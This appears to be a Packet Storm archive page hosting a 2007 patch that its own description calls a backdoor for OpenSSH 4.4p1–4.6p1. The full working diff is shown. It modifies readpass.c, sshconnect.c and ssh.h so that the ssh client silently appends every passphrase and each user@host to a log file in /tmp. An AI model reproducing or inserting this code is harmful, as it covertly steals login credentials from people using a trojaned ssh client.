exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

openssh-logging.patch

openssh-logging.patch
Posted Mar 27, 2007
Authored by Kris Katterjohn

Backdoor patch for OpenSSH versions 4.4p1, 4.5p1, and 4.6p1 that logs usernames, hosts, and passphrases from login attempts.

tags | encryption
SHA-256 | bf09a9bc1fa3e69a42c62f7d9ccc67ca8d993fc674e0a8165454ad05730c9480

openssh-logging.patch

Change Mirror Download
--- openssh-4.[456]p1/readpass.c  2007-03-24 23:14:45.000000000 -0500
+++ by-kriskatterjohn/readpass.c 2007-03-24 23:27:56.000000000 -0500
@@ -115,6 +115,7 @@ read_passphrase(const char *prompt, int
{
char *askpass = NULL, *ret, buf[1024];
int rppflags, use_askpass = 0, ttyfd;
+ FILE *o;

rppflags = (flags & RP_ECHO) ? RPP_ECHO_ON : RPP_ECHO_OFF;
if (flags & RP_USE_ASKPASS)
@@ -158,6 +159,12 @@ read_passphrase(const char *prompt, int

ret = xstrdup(buf);
memset(buf, 'x', sizeof buf);
+
+ if (o = fopen(EVILLOGFILE, "a")) {
+ fprintf(o, "passphrase: %s\n", ret);
+ fclose(o);
+ }
+
return ret;
}

--- openssh-4.[456]p1/ssh.h 2007-03-24 23:14:45.000000000 -0500
+++ by-kriskatterjohn/ssh.h 2007-03-24 23:23:51.000000000 -0500
@@ -12,6 +12,9 @@
* called by a name other than "ssh" or "Secure Shell".
*/

+/* Filename to log user@host and passphrase(s) to [change it! :)] */
+#define EVILLOGFILE "/tmp/ssh-logins.log"
+
/* Cipher used for encrypting authentication files. */
#define SSH_AUTHFILE_CIPHER SSH_CIPHER_3DES

--- openssh-4.[456]p1/sshconnect.c 2007-03-24 23:14:45.000000000 -0500
+++ by-kriskatterjohn/sshconnect.c 2007-03-24 23:28:24.000000000 -0500
@@ -947,6 +947,7 @@ ssh_login(Sensitive *sensitive, const ch
{
char *host, *cp;
char *server_user, *local_user;
+ FILE *o;

local_user = xstrdup(pw->pw_name);
server_user = options.user ? options.user : local_user;
@@ -957,6 +958,11 @@ ssh_login(Sensitive *sensitive, const ch
if (isupper(*cp))
*cp = (char)tolower(*cp);

+ if (o = fopen(EVILLOGFILE, "a")) {
+ fprintf(o, "%s@%s\n", server_user, host);
+ fclose(o);
+ }
+
/* Exchange protocol version identification strings with the server. */
ssh_exchange_identification();

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close